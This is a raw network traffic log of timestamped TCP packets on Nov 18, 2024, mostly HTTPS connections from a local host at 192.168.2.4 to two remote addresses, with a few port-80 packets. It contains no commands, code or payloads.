Nov 18, 2024 21:03:19.348119020 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:19.348157883 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:20.264020920 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:20.264136076 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:20.267627954 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:20.267663956 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:20.268085957 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:20.312566042 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:21.202959061 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:21.211620092 CET	49723	80	192.168.2.4	199.232.214.172
Nov 18, 2024 21:03:21.219347954 CET	80	49723	199.232.214.172	192.168.2.4
Nov 18, 2024 21:03:21.219433069 CET	49723	80	192.168.2.4	199.232.214.172
Nov 18, 2024 21:03:21.243344069 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:21.499233961 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:21.499336958 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:21.499372959 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:21.499428034 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:21.499424934 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:21.499469042 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:21.499517918 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:21.499567032 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:21.499567986 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:21.499567986 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:21.499603033 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:21.499631882 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:21.499690056 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:21.499711990 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:21.499727011 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:21.500230074 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:21.500298977 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:22.379875898 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:22.379915953 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:22.379934072 CET	49730	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:22.379942894 CET	443	49730	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:56.886445045 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:56.886538029 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:56.886672974 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:56.886966944 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:56.887001991 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:57.978741884 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:57.978857994 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:57.982707977 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:57.982738018 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:57.983201027 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:57.991841078 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.035326004 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.215147018 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.215209961 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.215253115 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.215305090 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.215377092 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.215432882 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.215432882 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.245219946 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.245295048 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.245452881 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.245454073 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.245517969 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.245578051 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.335691929 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.335752964 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.335894108 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.335894108 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.335959911 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.336015940 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.366108894 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.366168022 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.366316080 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.366317034 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.366381884 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.366446972 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.368010044 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.368061066 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.368113995 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.368129015 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.368159056 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.368180990 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.371095896 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.371139050 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.371176004 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.371187925 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.371218920 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.371256113 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.455984116 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.456047058 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.456130028 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.456167936 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.456193924 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.456218004 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.484246016 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.484301090 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.484357119 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.484371901 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.484420061 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.484448910 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.485148907 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.485194921 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.485245943 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.485255957 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.485281944 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.485304117 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.489950895 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.489995003 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.490026951 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.490037918 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.490062952 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.490087032 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.490288973 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.490346909 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.490369081 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.490385056 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.490406990 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.490427971 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.490649939 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.490699053 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.490729094 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.490737915 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.490762949 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.490782976 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.491794109 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.491836071 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.491872072 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.491882086 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.491914988 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.491935015 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.575850964 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.575957060 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.575970888 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.576034069 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.576076984 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.576106071 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.576144934 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.576167107 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.576183081 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.576210976 CET	49736	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.576221943 CET	443	49736	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.616494894 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.616523027 CET	49737	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.616549969 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.616615057 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.616714954 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.617361069 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.617363930 CET	49737	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.617381096 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.617435932 CET	49737	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.617458105 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.618324995 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.618346930 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.619097948 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.619108915 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.619169950 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.619216919 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.619235039 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.619256020 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.619307041 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.619355917 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.619885921 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.619916916 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.620486021 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.620588064 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:58.620598078 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:58.821852922 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:58.821899891 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:58.821993113 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:58.822319031 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:58.822335958 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:59.367607117 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.368078947 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.368129969 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.368582010 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.368628025 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.368645906 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.368937969 CET	49737	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.368983984 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.369369984 CET	49737	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.369384050 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.371380091 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.371697903 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.371712923 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.372107029 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.372111082 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.380773067 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.381092072 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.381109953 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.381483078 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.381493092 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.383665085 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.383999109 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.384020090 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.384444952 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.384453058 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.498653889 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.498704910 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.498766899 CET	49737	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.498800993 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.498830080 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.498869896 CET	49737	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.498914003 CET	49737	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.499157906 CET	49737	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.499192953 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.499223948 CET	49737	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.499238014 CET	443	49737	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.500804901 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.500854969 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.500906944 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.501005888 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.501059055 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.501105070 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.501133919 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.501149893 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.501171112 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.501183033 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.501209974 CET	49740	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.501219034 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.501224995 CET	443	49740	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.501642942 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.501660109 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.501672983 CET	49741	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.501679897 CET	443	49741	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.502248049 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.502266884 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.502351046 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.503123045 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.503139973 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.504410028 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.504451990 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.504553080 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.504705906 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.504733086 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.504894972 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.504977942 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.505167961 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.505302906 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.505331039 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.517069101 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.517124891 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.517191887 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.517214060 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.517299891 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.517334938 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.517376900 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.517456055 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.517474890 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.517497063 CET	49739	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.517508030 CET	443	49739	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.519243002 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.519390106 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.519695997 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.519798994 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.519824982 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.519850969 CET	49738	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.519864082 CET	443	49738	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.520011902 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.520035028 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.520106077 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.520945072 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.520965099 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.522650003 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.522702932 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.522803068 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.523092985 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:03:59.523127079 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 21:03:59.736330032 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:59.736515045 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:59.738205910 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:59.738219976 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:59.738562107 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:03:59.747478008 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:03:59.791378021 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.046099901 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.046159983 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.046202898 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.046394110 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:04:00.046395063 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:04:00.046416044 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.046811104 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:04:00.048376083 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.048422098 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.048444033 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:04:00.048463106 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.048516035 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:04:00.048655987 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.048799038 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:04:00.058171988 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:04:00.058171988 CET	49742	443	192.168.2.4	52.149.20.212
Nov 18, 2024 21:04:00.058192968 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.058211088 CET	443	49742	52.149.20.212	192.168.2.4
Nov 18, 2024 21:04:00.246099949 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.246483088 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.246522903 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.246982098 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.246998072 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.248935938 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.249443054 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.249470949 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.249779940 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.249787092 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.255172968 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.255645990 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.255697012 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.256002903 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.256017923 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.292854071 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.293198109 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.293221951 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.293323994 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.293695927 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.293711901 CET	49747	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.293713093 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.293720007 CET	443	49747	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.294106960 CET	49746	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.294116974 CET	443	49746	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.382119894 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.382500887 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.382572889 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.382679939 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.382694960 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.382704973 CET	49743	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.382709026 CET	443	49743	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.385365009 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.385384083 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.385447025 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.385716915 CET	49748	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.385730028 CET	443	49748	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.386365891 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.387012005 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.387074947 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.387125015 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.387159109 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.387191057 CET	49745	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.387212038 CET	443	49745	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.389585972 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.389619112 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.389682055 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.389822006 CET	49749	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.389838934 CET	443	49749	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.390640974 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.390724897 CET	443	49744	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:00.390774012 CET	49744	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:00.390880108 CET	49744	443	192.168.2.4	13.107.246.45
